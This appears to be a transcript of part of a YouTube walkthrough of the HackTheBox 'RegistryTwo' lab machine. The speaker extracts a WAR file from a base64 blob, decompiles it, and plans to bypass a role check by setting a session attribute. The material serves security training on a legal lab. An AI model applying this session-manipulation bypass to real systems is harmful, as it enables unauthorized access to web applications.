going to be hard to copy out of this window right and I hate doing like the view Source thing because the browser is going to get all wonky so um let's I don't know what file I was in CMD line okay um let's paste the Cur line I'm going to do- O and I'm going to call this temp. out real quick so it's going to download t...
1,384.76
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
we see the file and it's going to be apparent because that huge A to B blob is the file so let's delete everything up to that line and I'm going slow around it because every now and then it still will be um clunky since this file is so big or this line so delete Del like that I accidentally deleted one too many there w...
1,446.32
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
want to see it still have two equals has one equal I gave it a second equal I think and then I think it has to redraw this whole line um Vim disable redraw is that it let's see I forget the exact function but I think we have it so let me delete everything let's save it Bas 64- D temp.
1,526.76
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
out fix that command and I'll call it hosting War we don't have any error messages and if I do a file against hosting War we have a jar archive so that is the other way to get this um the intended way again boot up that Docker that we had done and then use like spin it up extract the file out of there but I think it's ...
1,568.88
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
jar and let's see I'm going to make a directory bin I'm going to move all the files I like using in this directory because there's going to be a few other apps we just get so I'm going to do um Java djar JD to load this up and then let's do file open file up One Directory hosting war and let's see is there a config I d...
1,631.96
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
cool um let's see other things we can do if we go to the authentication serlet that's another place I would start you can see when you log in we have a validate um we set the login uuid displayed username and then we get the role and then we also will set this is logged in role manager um another thing let's see I don'...
1,696.2
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
list of all the routes they like doing this web serlet thing here so that drives me crazy but this is my work around right so make Source let's go in here um I'm going to unzip the hosting War Source zip I'm going to make a directory called hosting move everything into it because we're probably going to have source of ...
1,764.279
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }
see um we do a get it's going to do this check manager thing if we click on check manager it again wants this is logged in role manager so what we want to do is set this attribute for us so I'm going to go back into the session example and let's go back to web hosting panel wonder if we have to we won't have to relog i...
1,835.08
0
{ "video_id": "rfYVkpArtgU", "title": "HackTheBox RegistryTwo", "url": "https://www.youtube.com/watch?v=rfYVkpArtgU" }